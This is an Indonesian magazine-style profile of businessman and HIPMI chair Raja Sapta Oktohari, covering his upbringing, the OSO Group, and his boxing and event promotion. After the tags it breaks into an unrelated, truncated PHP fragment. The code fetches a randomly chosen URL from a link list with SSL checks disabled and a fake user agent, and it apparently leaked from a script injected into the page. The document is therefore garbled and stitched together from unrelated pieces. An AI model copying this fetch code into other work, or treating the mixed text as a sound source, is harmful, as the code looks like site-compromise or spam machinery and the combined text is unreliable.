Inspiring Leader: Raja Sapta Oktohari

Raja Sapta Oktohari, pemimpin muda inspiratif, putera kedua dari lima bersaudara dari pasangan Oesman Sapta Odang dan Serviati Oesman. Seorang pemimpin muda dari ribuan karyawan yang dianggapnya sebagai bagian dari keluarga besarnya. “Di grup usaha kami banyak pegawai yang sudah bekerja sejak lama, bahkan sejak saya belum lahir,” ujar Okto di HIPMI Center. “Pengasuh saya adalah jadi pengasuh ayah saya sejak beliau masih kecil, saat ini pengasuh saya sedang koma karena sakit, bagi kami ia adalah bagian dari keluarga.”

Dengan pola kepemimpinannya yang kekeluargaan menurut Okto akan tercipta nuansa emosional dan kebersamaan yang kental yang akhirnya berujung pada kesetiaan karyawan kepada perusahaan. Begitupun hubungannya dengan kolega di komunitasnya saat ini. Saat memimpin, Okta menerapkan pola disiplin dan reinforcement, di mana ketika ada reaksi di situ ada konsekuensi. “Saya tidak setuju dengan pola kepemimpinan ‘reward and punishment’ saya sendiri paling tidak suka jika harus memecat karyawan saya, saya lebih mementingkan pendekatan personal, atau naikkan saja ke ring tinju jika perlu,” ujar Okto disertai derai tawanya yang renyah.

Pemimpin yang spektakuler

Okto, panggilan akrabnya, bersyukut dilahirkan di keluarga pengusaha dengan didikan bermentalkan wirausaha. Dia bercerita, jika anak-anak lain diberi uang jajan, di malam diberi semacam tantangan teryentu yang harus diwujudkan agar bisa memperoleh keinginannya tersebut. Dia juga diajarkan untuk selalu membangun networking dengan cara bersosialisasi.

“Dari kecil, saya memang dipersiapkan menjadi pengusaha,” sebut Okto dengan bangga. Maka tak heran, meski keluarganya termasuk berada dan terpandang, dia tak lantas berpangku tangan. Jiwa entrepreneur sudah terpatri dalam benaknya sejak dini.

Saat duduk di bangku SMU, Okto menjalankan usaha sampingan berjualan garmen di Pasar Tanah Abang. Sepulangnya dari menyelesaikan studi di Amerika Serikat, Okto malam memilih memulai usaha dari nol dengan hijrah ke ibukota provinsi Sulawesi Selatan, Makassar. Padahal jika di mau, bisa saja dia bekerja di perusahaan keluarganya.

Ia juga merasa tidak khawatir memutuskan jauh dari ibukota Jakarta, dengan menjalankan usaha perdagangan beras. Dari kota angin Mamiri itu bisnisnya merambah hingga ke Pare-pare, bahkan sampai ke tanah leluhurnya di Kalimantan Barat. Kini usahanya yang berada di bawah bendera OSO Group sudah menggurita, mulai bidang mining plantations, perikanan, transportasi, komunikasi, hingga perhotelan, semua dia rambah.

“Saya orang yang tidak mudah menyerah, selalu ingin maju ke depan,” tandas Okto. Yang terbaru, nama Okto kembali menjadi pusat perhatian setelah ditasbihkan menjadi salah satu promotor tinju termuda di Asia. Pria kelahiran15 Oktober 1975 ini berhasil menggabungkan entrepreneur, sport, dan entertainment (entresportainment) yang sepertinya jarang  dilihat menjadi lahan yang menjanjikan bagi para pengusaha.

Di bawah nauangan event organizer Mahkota Promotion, Okto berhasil menghadirkan pertandingan tinju kelas dunia yang menghibur. Duel sang juara dunia kelas bulu WBA Chris John, melawan penantangnya yang juga aset Indonesia, Daud Yordan pada 5 Desember 2010 dan 17 April 2011 begitu menghentak perhatian publik, dan menjadi event yang tak terlupakan.

Tidak hanya tinju, dia juga membuat perhelatan Internasional Formula Drift Asia dan ESPN Asia 9ball Competition. “Saya ingin industrialisasi olahraga bisa terwujud,” ucapnya. Obsesinya tersebut tentu tak asal bicara. Okto melihat, pangsa pasar dan peluang mengembangkan bidang yang masih belum banyak dilirik ini terbuka lebar.

Di luar negeri, entresportainment semacam ini sudah menjadi bagian dari gaya hidup. Apalagi, profil masyarakat Indonesia, dinilai suka dengan segala hal yang berbau tantangan dan sensasi. “Lihat saja tayangan infotainment laku. Tinggal bagaimana kita mengemasnya. Di tambah dengan treatment buat penontonnya dengan dukungan management yang harus bagus,” kata Wakil Ketua Komite Tetap KADIN Indonesia ini.

Tidak hanya menangguk untung, perhelatan olahraga berkelas tersebut juga sebagai upayanya membawa nama harum Indonesia ke tingkat dunia. “Pola yang kami buat untuk merancang acara itu sebenarnya cukup sederhana yaitu good opening, best closing. Kami juga bawa semangat merah putih,” imbuh Okto.

Penghobi bersepeda dan salah seorang founder bike to work ini juga sukses mendatangan musisi-musisi terkenal dunia, seperti David Foster and friends, Janet Jackson, maupun Justin Bieber. Sebagai ketua Hipmi yang baru, misinya saat ini adalah memotivasi setiap orang yang menjadi pengusaha dan membuka lapangan pekerjaan. Menurut dia, Indonesia adalah lahan bagus untuk berwirausaha, bahkan tanpa modal dan keahlian sekalipun.

“Dengan melihat sekeliling, atau mendengar obrolan orang saja kita bisa membuat usaha,” katanya. Dan mental wirausaha merupakan hal yang paling sulit ditanamkan dalam diri masyarakat. Untuk itu, dia menyarankan jika ada yang berkeinginan menjadi pengusaha, maka jangan takut melangkah dan gagal. Kegagalan adalah sebuah proses yang harus dilewati. Okto menegaskan, negara ini membutuhkan lebih banyak orang yang bermental bos. “Kita butuh orang yang belagu layaknya bos. Kalau jadi kesempatan jadi orang kaya, segera ambil. Cari uang sebanyak-banyaknya,” ujar ayah dari seorang putera ini bersemangat.

Setelah mental dikuatkan, ukur potensi diri, kemampuan atau kelebihan apa yang dimiliki diri Anda. Lalu, baca potensi pasar di sekeliling lingkungan terdekat anda dan mulai menjalankan pergerakkan. Jangan terlalu memikirkan modal, karena lagi-lagi itu bukan segala-galanya. Apalagi saat ini, dengan perangkat teknologi canggih, semuanya menjadi lebih mudah.

Namun dia menegaskan, tidak ada salahnya menjadi pekerja. Jika itu yang menjadi pilihan hidup Anda, maka jalanilah dengan serius. Jadilah pekerja yang kreatif, tidak hanya berkutat pada satu masalah saja tapi juga mengeksplorasi bidang yang lain. “Perlu ada sesuatu yang challenging, berkompetensi dan berkreativitas agar tidak monoton. Harus out of the box, jangan diam di tempat,” ujar Okto.

Sebagai ketua umum Himpunan Pengusaha Muda Indonesia (HIPMI), Okto sendiri mempunyai tujuan mulia untuk menumbuhkan mental berwirausaha masyarakat Indonesia. “Saya bergerilya menularkan passion berwirausaha kepada rekan-rekan muda melalui universitas-universitas yang bekerjasama dengan HIPMI. Ini bagian dari upaya saya untuk membangun dan melatih mental wirausaha kepada rekan-rekan muda melalui universitas-universitas yang bekerjasama dengan HIPMI. Ini bagian dari upaya saya untukk membangun dan melatih mental wirasusaha  sejak usia muda. Masih sangat banyak yang ingin saya kerjalan bagi negara dan bangsa ini. Untuk itu kita sebagai pemimpin, perlu saling berkolaborasi dan bersinergi mengingat Indonesia ini begitu besarnya,” ukar Okto menutup pembicaraan.

Tags |||||||



html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>